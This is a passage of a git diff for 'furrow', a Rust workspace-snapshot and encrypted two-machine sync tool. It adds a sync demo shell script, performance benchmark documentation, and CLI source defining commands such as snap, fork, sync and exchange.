'{ total += $1 } END { print total }') + +container_stats=$(docker stats --no-stream --format '{{.Name}} cpu={{.CPUPerc}} memory={{.MemUsage}} network={{.NetIO}}' "$laptop_a" "$laptop_b") + +kill "$follow_a" "$follow_b" >/dev/null 2>&1 || true +wait "$follow_a" "$follow_b" >/dev/null 2>&1 || true +follow_a= +follow_b= + +printf 'PASS: two isolated machines exchanged and consumed one complete working tree\n' +printf ' source: %s files, %s bytes (committed, dirty, ignored, and Git state)\n' "$source_files" "$source_bytes" +printf ' initial publish: %s ms, %s encrypted bytes, %s remote objects\n' "$push_latency_ms" "$initial_remote_bytes" "${initial_remote_objects:-unknown}" +printf ' fresh-machine clone: %s ms; %s\n' "$clone_latency_ms" "$(printf '%s' "$clone_output" | tail -1)" +printf ' Agent A -> B: %s ms, %s payload bytes, %s new encrypted remote bytes\n' "$a_latency_ms" "$a_payload_bytes" "$a_delta_bytes" +printf ' Agent B -> A: %s ms, %s payload bytes, %s new encrypted remote bytes\n' "$b_latency_ms" "$b_payload_bytes" "$b_delta_bytes" +printf ' final working-tree digest: %s\n' "$final_digest_a" +printf ' initial push: %s\n' "$(printf '%s' "$initial_push" | tr '\n' ';')" +printf ' %s\n' "$container_stats" diff --git a/engine/demo/two-machine-sync.sh b/engine/demo/two-machine-sync.sh new file mode 100755 index 0000000000..465714ddbd --- /dev/null +++ b/engine/demo/two-machine-sync.sh @@ -0,0 +1,92 @@ +#!/usr/bin/env bash +set -euo pipefail + +PROJECT_ROOT=$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd) +BIN="$PROJECT_ROOT/target/release/furrow" +DEMO_ROOT=${FURROW_DEMO_DIR:-$(mktemp -d "${TMPDIR:-/tmp}/furrow-sync.XXXXXX")} +LAPTOP="$DEMO_ROOT/laptop/project" +DESKTOP="$DEMO_ROOT/desktop/project" +REMOTE="$DEMO_ROOT/encrypted-remote" +LAPTOP_DATA="$DEMO_ROOT/laptop/furrow-data" +DESKTOP_DATA="$DEMO_ROOT/desktop/furrow-data" +export FURROW_NO_DAEMON=1 + +green='\033[0;32m' +red='\033[0;31m' +bold='\033[1m' +reset='\033[0m' + +step() { printf '\n%b%s%b\n' "$bold" "$1" "$reset"; } +ok() { printf '%bPASS%b %s\n' "$green" "$reset" "$1"; } +fail() { printf '%bFAIL%b %s\n' "$red" "$reset" "$1"; exit 1; } +laptop() { FURROW_DATA_DIR="$LAPTOP_DATA" "$BIN" --repo "$LAPTOP" "$@"; } +desktop() { FURROW_DATA_DIR="$DESKTOP_DATA" "$BIN" --repo "$DESKTOP" "$@"; } + +step "Build furrow" +cargo build --manifest-path "$PROJECT_ROOT/Cargo.toml" --release --quiet + +step "Create independent laptop and desktop repositories" +mkdir -p "$LAPTOP" +git -C "$LAPTOP" init -b main --quiet +git -C "$LAPTOP" config user.email demo@furrow.dev +git -C "$LAPTOP" config user.name "furrow demo" +printf '.env\n.cache/\n' > "$LAPTOP/.gitignore" +printf 'export const machine = "base";\n' > "$LAPTOP/app.js" +git -C "$LAPTOP" add app.js .gitignore +git -C "$LAPTOP" commit -m "initial app" --quiet +mkdir -p "$(dirname "$DESKTOP")" +git clone --quiet "$LAPTOP" "$DESKTOP" + +printf 'API_TOKEN=never-visible-to-remote\n' > "$LAPTOP/.env" +printf 'unfinished laptop reasoning\n' > "$LAPTOP/notes.txt" +mkdir -p "$LAPTOP/.cache" +dd if=/dev/zero of="$LAPTOP/.cache/warm.bin" bs=1048576 count=8 2>/dev/null +printf 'export const machine = "dirty laptop";\n' > "$LAPTOP/app.js" +laptop watch --no-daemon >/dev/null +desktop watch --no-daemon >/dev/null +ok "both machines have independent stores and timelines" + +step "Pair through a dumb developer-owned directory" +PAIR=$(laptop --json pair "$REMOTE" --name viral-demo) +KEY=$(printf '%s' "$PAIR" | sed -n 's/.*"key_hex": "\([^"]*\)".*/\1/p') +[[ ${#KEY} -eq 64 ]] || fail "pairing key was not generated" +desktop pair "$REMOTE" --name viral-demo --key "$KEY" >/dev/null +ok "remote namespace paired with a private 256-bit key" + +step "Move the exact dirty workspace to the desktop" +laptop sync --push +desktop sync --pull --bootstrap +cmp "$LAPTOP/app.js" "$DESKTOP/app.js" || fail "dirty tracked file mismatch" +cmp "$LAPTOP/.env" "$DESKTOP/.env" || fail "ignored secret mismatch" +cmp "$LAPTOP/notes.txt" "$DESKTOP/notes.txt" || fail "untracked notes mismatch" +cmp "$LAPTOP/.cache/warm.bin" "$DESKTOP/.cache/warm.bin" || fail "warm cache mismatch" +ok "tracked, ignored, untracked, and warm dependency state arrived exactly" + +if grep -R -a -q 'never-visible-to-remote' "$REMOTE"; then + fail "remote leaked plaintext workspace bytes" +fi +ok "remote contains opaque names and authenticated ciphertext only" + +step "Send only the next delta" +printf 'export const machine = "laptop delta";\n' > "$LAPTOP/app.js" +laptop sync --push +desktop sync --pull +cmp "$LAPTOP/app.js" "$DESKTOP/app.js" || fail "delta did not fast-forward" +ok "desktop fast-forwarded without retransmitting the full workspace" + +step "Preserve simultaneous offline work instead of overwriting it" +printf 'desktop offline idea\n' > "$DESKTOP/notes.txt" +printf 'export const machine = "new laptop branch";\n' > "$LAPTOP/app.js" +laptop sync --push +if desktop sync --pull; then + fail "divergent desktop work should not be overwritten" +fi +grep -q 'desktop offline idea' "$DESKTOP/notes.txt" \ + && ok "desktop sibling was preserved byte-for-byte" \ + || fail "desktop work was lost" +grep -q 'new laptop branch' "$LAPTOP/app.js" \ + && ok "laptop sibling remains independently available" \ + || fail "laptop work was lost" + +printf '\n%bDemo complete.%b Machines and encrypted remote retained at %s\n' \ + "$green" "$reset" "$DEMO_ROOT" diff --git a/engine/docs/README.md b/engine/docs/README.md new file mode 100644 index 0000000000..c0aa661f9e --- /dev/null +++ b/engine/docs/README.md @@ -0,0 +1,17 @@ +# furrow Documentation + +Start with the repository [README](../README.md) for installation, daily use, +and two-machine sync. + +## Performance + +[Performance](performance.md) — reproducible benchmark methodology, current +measurements, and regression gates. + +## Repository Notes + +- UI dependency notices remain at + [ui/THIRD_PARTY_NOTICES.md](../ui/THIRD_PARTY_NOTICES.md) beside the embedded + assets they describe. +- Runnable workflows live in [`demo/`](../demo/); benchmark code lives in + [`benches/`](../benches/). diff --git a/engine/docs/performance.md b/engine/docs/performance.md new file mode 100644 index 0000000000..bb557fa129 --- /dev/null +++ b/engine/docs/performance.md @@ -0,0 +1,79 @@ +# furrow Performance Baselines + +This document records reproducible measurements, not extrapolated product claims. The harness is `benches/engine.rs`; every sample runs in a fresh subprocess so CPU and peak RSS are isolated from other scenarios. + +## Run It + +```bash +cargo bench --bench engine +FURROW_BENCH_ENFORCE=1 cargo bench --bench engine +FURROW_BENCH_PROFILE=reference cargo bench --bench engine +``` + +The default developer profile uses three samples, 5,000 files, 100 changed files, a 128 MiB generated stream, a 32 MiB warm dependency, 721 snapshots spread over six months, and 1,000 tree/ref lookups. CI uses one smaller enforced smoke sample on macOS and Linux. The `reference` profile uses five samples, 1,000,000 files, a 1 GiB stream, and 17,281 historical snapshots. + +Peak RSS comes from `getrusage(RUSAGE_SELF)`. CPU is user plus system time consumed inside the measured operation. Fixture construction, Git initialization, and baseline capture are outside wall/CPU timing but remain included in the subprocess peak-RSS measurement. + +## Baseline: 2026-07-09 + +Hardware: Apple arm64 `Mac15,10`, APFS, macOS 26.5.1. Rust release profile uses thin LTO, one codegen unit, and `opt-level=3`. + +| Scenario | Dataset | Median | p95 | CPU p95 | Peak RSS | Minimum rate | +|---|---:|---:|---:|---:|---:|---:| +| Chunk + BLAKE3 | 128 MiB | 240.9 ms | 244.8 ms | 239.3 ms | 7.8 MiB | 522.9 MiB/s | +| Paged tree diff | 5k entries, one change, 1k runs | 1.371 s | 1.378 s | 1.347 s | 9.7 MiB | 1.38 ms/run | +| Reverse ref lookup | 721 refs, 20 returned, 1k runs | 176.8 ms | 188.8 ms | 181.7 ms | 6.4 MiB | 0.189 ms/read | +| Cold seal | 5k files | 967.1 ms | 1.065 s | 778.1 ms | 12.8 MiB | 4,693 files/s | +| Delta seal | 100 of 5k files | 15.3 ms | 16.1 ms | 2.1 ms | 13.1 MiB | 6,202 files/s | +| Full-state fork | 5k files + 32 MiB warm cache | 727.7 ms | 751.4 ms | 621.7 ms | 18.3 MiB | 6,693 entries/s | +| Five warm universes | 5 × (5k files + shared 32 MiB cache) | 1.242 s | 1.270 s | 837.9 ms | 18.6 MiB | 3.94 universes/s | +| Conflict radar | 5 forks × 100 overlapping paths | 543.6 ms | 548.1 ms | 524.1 ms | 18.0 MiB | 912 dirty memberships/s | +| Retention + exact GC | 721 snapshots / six months | 78.0 ms | 87.8 ms | 60.2 ms | 9.1 MiB | 8,216 snapshots/s | + +The universe row covers five verified CoW materializations plus five concurrent process launches through the macOS sibling-directory driver. It measures startup cost, not page-cache sharing. + +The radar row is a cold family-index reconciliation from five independently sealed heads. Its p95 no-change refresh was 52.5 ms. Dirty scopes and conflict membership stay in SQLite; the process never constructs a repository-sized cross-fork map. + +The fork's p95 inner atomic hierarchy clone was 133 ms. The remaining time is bounded metadata/cache proof, path-index backup, and durable publication. + +## Optimization Evidence + +The same 20,000-file + 32 MiB fork scenario was measured while optimizing the macOS path: + +| Implementation | Wall | Inner clone | Peak RSS | +|---|---:|---:|---:| +| Per-file clone + full destination recapture | 8.822 s | 3.572 s | 33.8 MiB | +| Atomic recursive clone + serial proof | 2.323 s | 425 ms | 18.5 MiB | + +This is a 3.8x wall-time improvement and a 45% peak-RSS reduction. The fast path uses one atomic recursive `clonefile`, repairs directory metadata, rejects hard-link/special-file cases to the fidelity-preserving fallback, proves every indexed path against capture metadata and cached blob identity, rejects extra/missing paths, and then reuses the already-durable base DAG. Policy-excluded trees use the conservative verifier. + +## Gates And Gaps + +`FURROW_BENCH_ENFORCE=1` currently requires at least 50 MiB/s chunk throughput, a 2 s delta seal ceiling, at most 100 ms per paged-tree diff, at most 5 ms per indexed ref read, tier-aware fork and multi-universe ceilings, a 10 s conflict-radar ceiling, a 10 s GC ceiling, and at most 512 MiB peak RSS per isolated scenario. + +Still unproven and therefore not claimed as achieved: + +- The full 1M-file reference profile on both declared reference machines. +- Idle watcher `<1% CPU / <=150 MiB RSS` across 10 repos and 2M entries. +- The complete Btrfs/ZFS/overlayfs/APFS/XFS platform matrix. +- Ten-universe physical-memory/page-cache sharing. The harness measures startup wall time, CPU, and process RSS, but the `~1.0x` shared-page-cache goal remains unclaimed until resident pages are measured on Linux CoW filesystems. +- Generic flat-directory Merkle diff is proportional to root page count; agent delta sealing avoids that path through the disk-backed changed-path index. +- Fork verification remains O(entries) without a true immutable filesystem snapshot, even when hierarchy creation is atomic. + +## Warm SSH Session Smoke Baseline: 2026-07-10 + +The CLI integration fixture runs two independent repositories and object stores +through the real framed SSH-helper protocol, using a local wrapper in place of +network transport. A peer publishes a small changed snapshot while the other +side is blocked on the persistent HEAD subscription. The measured publish start +through notification, pull, and workspace materialization was **255 ms** on the +development Mac. The same test asserts one SSH helper process across multiple +reconciliation cycles, a measured notification phase, and +`reused_connection=true` on the second operation. + +This is a local protocol regression baseline, not a WAN result. Run the same +test under latency/loss shaping before claiming the 100 ms RTT contract: + +```bash +cargo test --test cli persistent_ssh_helper_syncs_independent_stores_over_framed_stdio -- --nocapture +``` diff --git a/engine/furrow-cli/Cargo.toml b/engine/furrow-cli/Cargo.toml new file mode 100644 index 0000000000..189cb4106b --- /dev/null +++ b/engine/furrow-cli/Cargo.toml @@ -0,0 +1,32 @@ +[package] +name = "furrow-cli" +version.workspace = true +edition.workspace = true +rust-version.workspace = true +description = "The furrow command line" +license.workspace = true +repository.workspace = true + +[[bin]] +name = "furrow" +path = "src/main.rs" + +[dependencies] +furrow-core = { path = "../furrow-core" } +furrow-daemon = { path = "../furrow-daemon" } +anyhow.workspace = true +clap.workspace = true +libc.workspace = true +serde.workspace = true +serde_json.workspace = true +tempfile.workspace = true + +[dev-dependencies] +furrow-core = { path = "../furrow-core", features = ["fault-injection"] } +assert_cmd.workspace = true +predicates.workspace = true +blake3.workspace = true +filetime.workspace = true +hex.workspace = true +xattr.workspace = true +rusqlite.workspace = true diff --git a/engine/furrow-cli/src/exchange.rs b/engine/furrow-cli/src/exchange.rs new file mode 100644 index 0000000000..0cfe4c7350 --- /dev/null +++ b/engine/furrow-cli/src/exchange.rs @@ -0,0 +1,154 @@ +//! The verbs that move a snapshot between stores as sealed frames. Secrets +//! come from the environment only; no flag carries one. + +use clap::Subcommand; +use furrow::exchange::export::DEFAULT_MAX_FRAME; +use furrow::exchange::keys::keys_from_env; +use furrow::exchange::ops::{self, ImportMode}; +use furrow::repository::data_root; +use serde_json::Value; +use std::path::{Path, PathBuf}; + +#[derive(Subcommand)] +pub enum Exchange { + /// Seal what the named store lacks into frames in an outbox. + /// Reads FURROW_CELL_KEY and FURROW_DEDUP_SECRET. + Export { + /// Snapshot ID to send. + #[arg(long)] + head: String, + #[arg(long)] + outbox: PathBuf, + /// Ledger name: 16 lowercase hex characters naming the destination store. + #[arg(long)] + ledger: String, + #[arg(long, default_value_t = DEFAULT_MAX_FRAME)] + max_frame: usize, + }, + /// Record uploaded frames in the ledger and delete them. + Published { + #[arg(long)] + ledger: String, + #[arg(required = true)] + frames: Vec, + }, + /// List the remote ids still needed to complete a snapshot locally. + /// Reads FURROW_CELL_KEY and FURROW_DEDUP_SECRET. + Want { + #[arg(long)] + head: String, + }, + /// Verify and store the objects in an inbox, one file per remote id. + /// Reads FURROW_CELL_KEY and FURROW_DEDUP_SECRET. + Import { + #[arg(long)] + head: String, + #[arg(long)] + inbox: PathBuf, + /// Ledger name of the store the objects came from: they are recorded + /// there as published, so an export never sends them back. + #[arg(long)] + ledger: String, + /// Priming mode: an inbox file no pass wanted is deleted rather than + /// an error, because the caller knows the inbox holds more than this + /// head wants. + #[arg(long)] + primed: bool, + /// Streaming mode: store what the walk wants from what has arrived and + /// leave every other file in place, for an inbox still filling. + #[arg(long, conflicts_with = "primed")] + partial: bool, + }, + /// Tell the engine that the folder it restored into `--from` was moved to + /// the --repo path, so the tree keeps its history there. + Rebind { + #[arg(long)] + from: PathBuf, + }, + /// Restore a snapshot held in the store into the --repo folder. + Materialize { + #[arg(long)] + head: String, + /// Put the sealed `.cell/` entry in this directory instead of the tree. + #[arg(long, value_name = "DIR")] + cell_dir: Option, + }, +} + +pub fn run(verb: Exchange, repo: &Path, json: bool) -> anyhow::Result<()> { + let ok = execute(verb, repo)?; + if json { + println!("{ok}"); + } else { + println!("{}", describe(&ok)); + } + Ok(()) +} + +fn execute(verb: Exchange, repo: &Path) -> anyhow::Result { + let data_dir = data_root()?; + match verb { + Exchange::Export { + head, + outbox, + ledger, + max_frame, + } => ops::export( + &data_dir, + &keys_from_env()?, + &head, + &ledger, + &outbox, + max_frame, + ), + Exchange::Published { ledger, frames } => { + ops::record_published(&data_dir, &ledger, &frames) + } + Exchange::Want { head } => ops::wanted(&data_dir, &keys_from_env()?, &head), + Exchange::Import { + head, + inbox, + ledger, + primed, + partial, + } => ops::import( + &data_dir, + &keys_from_env()?, + &head, + &ledger, + &inbox, + ImportMode::from_flags(primed, partial)?, + ), + Exchange::Rebind { from } => ops::rebind(&data_dir, &from, repo), + Exchange::Materialize { head, cell_dir } => { + ops::restore_head(&data_dir, repo, cell_dir, &head) + } + } +} + +/// One line for a person; scripts use `--json`. +fn describe(ok: &Value) -> String { + if let Some(frames) = ok["frames"].as_array() { + return format!( + "Exported {} objects in {} frames", + ok["objects"], + frames.len() + ); + } + if let Some(want) = ok["want"].as_array() { + return format!("{} objects wanted", want.len()); + } + if let Some(recorded) = ok.get("recorded") { + return format!("Recorded {recorded} objects"); + } + if let Some(imported) = ok.get("imported") { + return format!("Imported {imported} objects"); + } + if let Some(workspace) = ok["workspace"].as_str() { + return format!("Workspace {workspace} follows its folder"); + } + format!( + "Restored snapshot {}", + ok["snapshot"].as_str().unwrap_or_default() + ) +} diff --git a/engine/furrow-cli/src/main.rs b/engine/furrow-cli/src/main.rs new file mode 100644 index 0000000000..a146ed307d --- /dev/null +++ b/engine/furrow-cli/src/main.rs @@ -0,0 +1,2412 @@ +use anyhow::Context; +use clap::{Parser, Subcommand}; +use furrow::model::{id_hex, SnapshotTrigger}; +use furrow::{FurrowRepository, SealOptions, SyncDisposition, SyncFollowOutcome}; +use std::ffi::OsString; +use std::fs; +use std::io::{self, IsTerminal, Read, Write}; +use std::os::unix::fs::PermissionsExt; +use std::path::PathBuf; + +mod exchange; + +#[derive(Parser)] +#[command( + name = "furrow", + version, + about = "Undo everything between Git commits" +)] +struct Cli { + #[arg(long, global = true, default_value = ".")] + repo: PathBuf, + #[arg(long, global = true)] + json: bool, + #[command(subcommand)] + command: Command, +} + +#[derive(Subcommand)] +enum Command { + /// Project first-capture cost after policy and existing-store deduplication. + Estimate, + /// Attach a repository and create its first complete snapshot. + Watch { + /// Keep running and seal after filesystem write quiescence. + #[arg(long)] + foreground: bool, + /// Attach and snapshot without leaving a background watcher running. + #[arg(long, conflicts_with = "foreground")] + no_daemon: bool, + #[arg(long, default_value_t = 500)] + debounce_ms: u64, + }, + #[command(name = "__daemon", hide = true)] + Daemon { + #[arg(long, default_value_t = 500)] + debounce_ms: u64, + }, + /// Serve seal, restore and log requests on a unix socket, keeping each + /// store's repository open between requests. + Serve { + #[arg(long)] + socket: PathBuf, + /// Exit after this many minutes with no client. + #[arg(long, default_value_t = 10)] + idle_minutes: u64, + }, + #[command(flatten)] + Exchange(exchange::Exchange), + #[command(name = "__remote", hide = true)] + RemoteHelper { namespace: String }, + #[command(name = "__namespace-probe", hide = true)] + NamespaceProbe, + #[command(name = "__exec-namespace", hide = true)] + ExecNamespace { + #[arg(long)] + source: PathBuf, + #[arg(long)] + target: PathBuf, + #[arg(last = true, required = true)] + command: Vec, + }, + /// Create a complete labeled snapshot now. + Snap { + #[arg(short, long)] + message: Option, + /// Seal this directory, which lives outside the workspace, as the + /// tree's `.cell/` entry. + #[arg(long, value_name = "DIR")] + cell_dir: Option, + }, + /// List recent workspace snapshots. + Timeline { + #[arg(short, long, default_value_t = 20)] + limit: usize, + }, + /// Keep a snapshot exact across timeline thinning and garbage collection. + Pin { snapshot: String }, + /// Return a pinned snapshot to the normal retention policy. + Unpin { snapshot: String }, + /// Inspect path-level changes in a fork or since a snapshot. + Diff { + /// Fork name, full snapshot ID, or snapshot prefix. + target: String, + }, + /// Preview or restore a previous workspace snapshot. + Rewind { + snapshot: String, + #[arg(long = "paths")] + paths: Vec, + #[arg(long)] + dry_run: bool, + #[arg(long)] + yes: bool, + /// Restore SQLite databases from their logically consistent backup image. + #[arg(long)] + sqlite_consistent: bool, + /// Put the sealed `.cell/` entry back in this directory instead of the workspace. + #[arg(long, value_name = "DIR")] + cell_dir: Option, + }, + /// Show workspace protection, store health, and optional fidelity guarantees. + Status { + /// Enumerate what rewind preserves exactly, approximately, or not at all. + #[arg(long)] + fidelity: bool, + }, + /// Open the local Mission Control workspace dashboard. + Ui { + /// Loopback port; 0 selects an available ephemeral port. + #[arg(long, default_value_t = 0)] + port: u16, + /// Print the URL without launching a browser. + #[arg(long)] + no_open: bool, + /// Fixed verification command allowed for UI merge actions. + #[arg(long)] + merge_check: Option, + }, + /// Create an isolated full-state workspace, optionally running a command inside it. + Fork { + /// Stable name used by `furrow forks` and as the default directory name. + name: Option, + /// Destination directory. Defaults to .furrow-forks/ beside the repository. + #[arg(long)] + destination: Option, + /// Materialize from this stored snapshot instead of the live workspace; + /// it also becomes the fork's merge base. + #[arg(long)] + at: Option, + /// Command to run inside the completed fork, supplied after `--`. + #[arg(last = true)] + command: Vec, + }, + /// List full-state workspace forks created from this repository. + Forks, + /// Stream durable machine-readable workspace events as NDJSON. + #[command(hide = true)] + Events { + /// Exclusive event cursor returned by an earlier line. + #[arg(long)] + after: Option, + #[arg(long, default_value_t = 100)] + limit: usize, + #[arg(long)] + follow: bool, + #[arg(long, default_value_t = 250)] + interval_ms: u64, + }, + /// Stream newly sealed snapshots from a sibling fork. + WatchFork { + name: String, + #[arg(long)] + after: Option, + #[arg(long)] + once: bool, + #[arg(long, default_value_t = 250)] + interval_ms: u64, + }, + /// Remove a completed fork and detach its timeline. + #[command(name = "fork-rm")] + ForkRemove { + name: String, + /// Forget the fork record but leave its directory and timeline intact. + #[arg(long)] + keep_files: bool, + }, + /// Claim a path glob advisory lease for an agent or workspace. + Claim { + pattern: String, + #[arg(long)] + owner: Option, + #[arg(long, default_value_t = 3600)] + ttl_seconds: u64, + }, + /// List active advisory path claims in this workspace family. + Claims, + /// Release a claim by ID or exact pattern. + Release { + claim: String, + #[arg(long)] + owner: Option, + }, + /// Read and write the eagerly replicated coordination directory. + Coord { + #[command(subcommand)] + command: CoordCommand, + }, + /// Install or execute vendor-neutral agent turn-boundary hooks. + Hook { + #[command(subcommand)] + command: HookCommand, + }, + /// Run any agent or command inside a new isolated full-state fork. + Run { + name: String, + #[arg(long)] + destination: Option, + /// Materialize from this stored snapshot instead of the live workspace; + /// it also becomes the fork's merge base. + #[arg(long)] + at: Option, + #[arg(last = true, required = true)] + command: Vec, + }, + /// Run one or more commands in isolated, whole-workspace universes. + Exec { + /// Stable fork name. May only be used for a single universe. + #[arg(long)] + fork: Option, + /// Number of universes to create and run concurrently. + #[arg(short = 'n', default_value_t = 1)] + count: usize, + /// Materialize every universe from this stored snapshot instead of + /// the live workspace; it also becomes each fork's merge base. + #[arg(long)] + at: Option, + /// Print the platform driver, paths, ports, and fork costs without executing. + #[arg(long)] + plan: bool, + #[arg(last = true)] + command: Vec, + }, + /// Run a command with exact before/after restore points in the current workspace. + #[command(name = "try")] + Attempt { + /// Human label recorded on both restore points. + #[arg(short, long)] + message: Option, + #[arg(last = true, required = true)] + command: Vec, + }, + /// Find and reversibly remove dependency and build caches. + Shrink { + /// Remove the reported candidates after sealing a complete restore point. + #[arg(long)] + yes: bool, + /// Include an additional repository-relative path. + #[arg(long = "path")] + paths: Vec, + }, + /// Find the first retained snapshot where a check starts failing. + Bisect { + /// Known passing snapshot; must be paired with --bad. + #[arg(long)] + good: Option, + /// Known failing snapshot; must be paired with --good. + #[arg(long)] + bad: Option, + /// Maximum number of recent snapshots in the search window. + #[arg(long, default_value_t = 100)] + limit: usize, + #[arg(last = true, required = true)] + command: Vec, + }, + /// Three-way merge a fork, or a stored snapshot, after verifying the + /// result in a scratch workspace. + Merge { + /// Fork name to merge from. Mutually exclusive with --snapshot. + #[arg(conflicts_with = "snapshot", required_unless_present = "snapshot")] + fork: Option, + /// Merge from a stored snapshot ID (for example one fetched with + /// `furrow sync --pull`) instead of a fork. + #[arg(long, conflicts_with = "fork")] + snapshot: Option, + /// Explicit merge base snapshot ID. Only valid with --snapshot; + /// required when its ancestry does not unambiguously resolve one + /// against this workspace's own lineage. + #[arg(long, requires = "snapshot")] + base: Option, + /// Project verification command executed through /bin/sh in the scratch workspace. + #[arg(long)] + check: Option, + /// Plan and report changes/conflicts without materializing or checking them. + #[arg(long)] + dry_run: bool, + }, + /// Stop watching this repository. + Forget { + #[arg(long)] + purge: bool, + }, + /// Reclaim objects unreachable from every retained workspace timeline. + Gc { + /// Report what would be reclaimed without changing the store. + #[arg(long)] + dry_run: bool, + }, + /// Inspect or configure the global content-store disk budget. + Budget { + /// Maximum physical pack size, for example 20GiB or 500MiB. + #[arg(long)] + max: Option, + /// Minimum filesystem free space to preserve. + #[arg(long = "reserve-free")] + reserve_free: Option, + }, + /// Pair with an encrypted directory or direct ssh://user@host remote. + Pair { + remote: PathBuf, + /// Shared remote workspace name. Use the same value on every machine. + #[arg(long)] + name: Option, + /// Existing 64-character pairing key from another machine. + #[arg(long)] + key: Option, + }, + /// Configure the encrypted transport for this workspace. + Remote { + #[command(subcommand)] + command: RemoteCommand, + }, + /// Materialize a complete workspace from an encrypted network remote. + Clone { + /// Workspace URL printed by `furrow remote add`. + remote: String, + /// New destination directory. Defaults to the remote workspace name. + destination: Option, + /// Existing 64-character recovery key. + #[arg(long, env = "FURROW_RECOVERY_KEY")] + key: String, + /// Attach without starting the background watcher. + #[arg(long)] + no_watch: bool, + }, + /// Transfer complete encrypted working-state snapshots through the paired remote. + Sync { + #[arg(long, conflicts_with_all = ["pull", "follow"])] + push: bool, + #[arg(long, conflicts_with_all = ["push", "follow"])] + pull: bool, + /// Continuously reconcile sealed local state and the encrypted remote. + #[arg(long, conflicts_with_all = ["push", "pull", "takeover", "bootstrap"])] + follow: bool, + /// Bucket polling interval and live-session subscription fallback. + #[arg(long, default_value_t = 5, requires = "follow")] + poll_seconds: u64, + /// Explicitly take the single-writer lease from another machine. + #[arg(long, requires = "push")] + takeover: bool, + /// Replace this machine's initial state with the remote state, reversibly. + #[arg(long, requires = "pull")] + bootstrap: bool, + /// Publish or follow an independent named ref instead of the + /// default HEAD, so concurrent publishers to the same remote never + /// contend. Omit to use today's single, well-known HEAD. + #[arg(long = "ref")] + ref_name: Option, + /// Print transport phase timings to stderr. + #[arg(long)] + timings: bool, + }, + /// Run a headless job at a remote input snapshot and publish the result. + /// + /// Pulls `--ref` from the remote into the local store, materializes an + /// isolated fork at that snapshot, runs the command after `--` inside it, + /// then seals and pushes the resulting state to `--result-ref`, recording + /// the input snapshot as its merge base. The process exit code mirrors the + /// command; the fork is removed unless `--keep`. + Work { + /// Remote directory, ssh://, or s3:// spec, as accepted by `pair`. + #[arg(long)] + remote: PathBuf, + /// Shared remote workspace name. Must match the publisher's `--name`. + #[arg(long)] + name: Option, + /// 64-character recovery key for the shared remote workspace. + #[arg(long, env = "FURROW_RECOVERY_KEY")] + key: String, + /// Named input ref to pull the job's starting snapshot from. + #[arg(long = "ref")] + input_ref: String, + /// Named output ref to publish the sealed result snapshot to. + #[arg(long = "result-ref")] + result_ref: String, + /// Keep the fork workspace and its checkout instead of removing it. + #[arg(long)] + keep: bool, + #[arg(last = true, required = true)] + command: Vec, + }, + /// Serve furrow tools to coding agents over MCP stdio. + Mcp, +} + +#[derive(Subcommand)] +enum RemoteCommand { + /// Add an encrypted directory, SSH, or S3-compatible remote. + Add { + remote: PathBuf, + /// Shared workspace name. Defaults to the source folder name. + #[arg(long)] + name: Option, + /// Existing 64-character recovery key. + #[arg(long)] + key: Option, + }, +} + +#[derive(Subcommand)] +enum CoordCommand { + /// Write a coordination value and propagate it to live sibling forks. + Write { + path: PathBuf, + #[arg(long, conflicts_with = "file")] + value: Option, + #[arg(long, conflicts_with = "value")] + file: Option, + #[arg(long)] + owner: Option, + }, + /// Read a coordination value from this workspace. + Read { path: PathBuf }, + /// List coordination values without reading their contents. + List, + /// Remove a coordination value and propagate a durable tombstone. + Remove { + path: PathBuf, + #[arg(long)] + owner: Option, + }, +} + +#[derive(Subcommand)] +enum HookCommand { + /// Install executable pre-turn, post-tool, and turn-end adapters. + Install, + /// Seal immediately before an agent turn begins. + PreTurn { + #[arg(long)] + agent: Option, + #[arg(long)] + turn: Option, + #[command(flatten)] + seal: SealArgs, + }, + /// Seal after an agent tool invocation completes. + PostTool { + #[arg(long)] + agent: Option, + #[arg(long)] + turn: Option, + #[arg(long)] + tool: Option, + #[command(flatten)] + seal: SealArgs, + }, + /// Seal when an agent turn ends. + TurnEnd { + #[arg(long)] + agent: Option, + #[arg(long)] + turn: Option, + #[command(flatten)] + seal: SealArgs, + }, +} + +/// How a hook seal finds what to capture. +#[derive(clap::Args, Default)] +struct SealArgs { + /// A path that changed since the previous seal; repeatable. With any + /// changed-path flag only those paths are visited; without one the whole + /// tree is walked and the stat cache spares unchanged files. + #[arg(long = "changed", value_name = "PATH")] + changed: Vec, + /// Read NUL-separated changed paths from standard input. An empty input + /// means nothing changed. + #[arg(long)] + changed_stdin: bool, + /// Seal this directory, which lives outside the workspace, as the tree's + /// `.cell/` entry. + #[arg(long, value_name = "DIR")] + cell_dir: Option, +} + +impl SealArgs { + fn options(self) -> anyhow::Result { + let listed = !self.changed.is_empty() || self.changed_stdin; + let mut changed = self.changed; + if self.changed_stdin { + changed.extend(read_changed_stdin()?); + } + Ok(SealOptions { + changed: listed.then_some(changed), + overlay: self.cell_dir, + }) + } +} + +fn read_changed_stdin() -> anyhow::Result> { + use std::os::unix::ffi::OsStrExt; + let mut input = Vec::new(); + io::stdin().read_to_end(&mut input)?; + Ok(input + .split(|byte| *byte == 0) + .filter(|path| !path.is_empty()) + .map(|path| PathBuf::from(std::ffi::OsStr::from_bytes(path))) + .collect()) +} + +fn main() -> anyhow::Result<()> { + let cli = Cli::parse(); + match cli.command { + Command::Estimate => { + let estimate = FurrowRepository::estimate(&cli.repo)?; + if cli.json { + println!("{}", serde_json::to_string_pretty(&estimate)?); + } else { + println!( + "{} files, {} directories, {} logical, {} physical", + estimate.files, + estimate.directories, + human_bytes(estimate.logical_bytes), + human_bytes(estimate.physical_bytes) + ); + println!( + "{} unique chunks; {} already in the store; {} projected new chunk payload", + estimate.unique_chunks, + human_bytes(estimate.deduplicated_chunk_bytes), + human_bytes(estimate.projected_new_chunk_bytes) + ); + println!( + "{} policy rule(s), {} excluded subtree root(s)", + estimate.policy_rules, estimate.excluded_subtrees + ); + } + } + Command::Watch { + foreground, + no_daemon, + debounce_ms, + } => { + let (repository, id) = FurrowRepository::watch(&cli.repo)?; + if cli.json { + println!( + "{}", + serde_json::json!({ + "workspace": repository.root(), + "snapshot": id_hex(&id), + "store": repository.store_root(), + }) + ); + } else { + println!("Protected {}", repository.root().display()); + println!("Snapshot {}", id_hex(&id)); + println!("Store {}", repository.store_root().display()); + } + if foreground { + furrow::watcher::run( + repository, + std::time::Duration::from_millis(debounce_ms.max(10)), + )?; + } else if !no_daemon && std::env::var_os("FURROW_NO_DAEMON").is_none() { + spawn_background_watcher(&repository, debounce_ms.max(10))?; + } + } + Command::Daemon { 